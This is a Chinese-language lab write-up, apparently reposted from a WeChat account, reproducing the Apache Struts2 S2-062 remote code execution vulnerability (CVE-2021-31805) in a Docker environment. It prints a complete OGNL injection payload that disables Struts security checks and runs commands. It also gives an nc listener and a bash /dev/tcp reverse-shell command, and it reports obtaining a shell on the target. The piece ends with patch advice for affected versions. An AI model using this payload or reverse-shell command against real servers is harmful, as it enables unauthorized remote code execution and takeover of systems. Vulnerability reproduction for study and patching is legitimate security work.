2022年4月12日,Apache Struts2发布安全公告(S2-062),修复了Apache Struts2中的一个远程代码执行漏洞(CVE-2021-31805)。该漏洞由于对CVE-2020-17530的修复不完整造成的,CVE-2020-17530漏洞是由Struts2 会对某些标签属性(比如id) 的属性值进行二次表达式解析,因此当这些标签属性中使用了%{x}且其中x的值用户可控时,用户再传入一个 %{payload} 即可造成OGNL表达式执行。
首先使用docker拉取漏洞环境,这里使用的是vulfocus搭建好的漏洞环境镜像
docker pull vulfocus/struts2-cve_2021_31805:latest
漏洞环境拉取完成后,通过docker run命令开启漏洞环境,开启后将监听在8080端口
docker run -p 8888:8080 --name s2_062 vulfocus/struts2-cve_2021_31805
使用浏览器访问链接http://ip:8888/,看到如下tomcat界面则证明漏洞环境搭建成功
漏洞触发点url为http://ip:8888/s2_062/index.action,使用浏览器访问如下
使用burpsuite抓取访问上述url的请求包,可以看到原始请求数据包如下
目前github上已经有针对该漏洞的POC检测脚本,我们下载一个脚本,下载地址为https://github.com/YanMu2020/s2-062,该脚本支持无回显和回显两种方式的检测
首先我们使用回显方式对漏洞环境进行检测
python s2-062.py --url http://ip:8888/
python s2-062.py --url http://ip:8888/ --cmd whoami
通过脚本检测发现POC和EXP利用代码均执行失败
接下来我们尝试使用无回显方式验证漏洞
python Dnslog_s2_062.py --url http://ip:8888/s2_062/index.action --par name
发现dnslog可以成功收到请求,证明存在无回显的s2-062漏洞
我们通过抓包对无回显POC检测脚本所发送的利用代码进行分析,抓取到POC发送的请求数据包如下
将上述请求包中的检测代码解码后可以得到如下的检测payload
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'ping 5bab253d.dns.1433.eu.org.'}))
有了payload之后,我们就可以自行构造命令执行代码获得目标服务器的反弹shell
首先在攻击机上利用nc开启监听
nc -lvvp 12345
然后将上述红字加粗中的命令替换为反弹shell命令/bin/bash -i >& /dev/tcp/ip/12345 0>&1,最后经过url编码后发送如下请求包
成功获得了目标服务器的反弹shell
漏洞影响范围:2.0.0<=Apache Struts<=2.5.29,目前此漏洞已经修复,建议受影响用户及时升级更新到Apache Struts 2.5.30或更高版本。
下载链接:
https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.30
原文始发于微信公众号(第59号):S2-062 远程命令执行漏洞复现(CVE-2021-31805)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论